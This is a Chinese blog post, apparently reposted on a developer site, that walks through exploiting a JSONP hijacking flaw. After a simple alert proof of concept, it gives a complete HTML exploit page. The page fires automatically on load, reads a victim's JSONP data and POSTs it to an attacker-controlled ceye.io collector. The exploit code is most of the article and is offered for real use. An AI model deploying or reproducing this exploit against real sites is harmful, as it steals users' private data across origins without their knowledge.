用ceye来利用jsonp劫持

栏目: Json · 发布时间: 5年前

内容简介:之前测jsonp劫持的时候一般是弹个alert,就做poc了,突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。在网上看到一般的证明脚本是

之前测jsonp劫持的时候一般是弹个alert,就做poc了,

突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。

正文

在网上看到一般的证明脚本是

<script>
function lego(json){
alert(JSON.stringify(json))
  }
</script>

<script src="http://vulweb.com/info?callback=lego"></script>

于是我便想尝试一下去构造一个可以来直接利用的exp

在安全客上看到了关于jsonp劫持的exp https://www.anquanke.com/post/id/152339

因为这个脚本利用的是get方法

如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )

于是我就想用post的方法去请求

这种exp不能自动发起请求,需要点击按键。

用ceye来利用jsonp劫持

与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,

在实际利用中还是差一点的,

所以我还是想让它变得更加实用一点。

首先是使用onload事件,

<body onload="load()">

即页面加载完成后执行一个方法,

这个方法利用有post请求,就可以完成我所想实现的了。

exp

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>

<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>

<script>

function load()
{
$.ajax({

url: "http://xxx.com/info?callback=lego",

type: "GET",       //指定GET请求方法

dataType: "jsonp", //指定服务器返回的数据类型

jsonp: "callback", //指定参数名称

jsonpCallback: "lego",

success: function (data) {
$.ajax({
  type: 'POST',
  url: 'http://yourceye.ceye.io/',
  data: JSON.stringify(data)
});

}

})
}
</script>
</body>
</html>

当然,需要在ceye.io中注册一个账号。

效果

用ceye来利用jsonp劫持

当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

高可用架构(第1卷)

高可用架构(第1卷)

高可用架构社区 / 电子工业出版社 / 2017-11-1 / 108.00元

《高可用架构(第1卷)》由数十位一线架构师的实践与经验凝结而成,选材兼顾技术性、前瞻性与专业深度。各技术焦点,均由极具代表性的领域专家或实践先行者撰文深度剖析,共同组成“高可用”的全局视野与领先高度,内容包括精华案例、分布式原理、电商架构等热门专题,及云计算、容器、运维、大数据、安全等重点方向。不仅架构师可以从中受益,其他IT、互联网技术从业者同样可以得到提升。一起来看看 《高可用架构(第1卷)》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

html转js在线工具
html转js在线工具

html转js在线工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具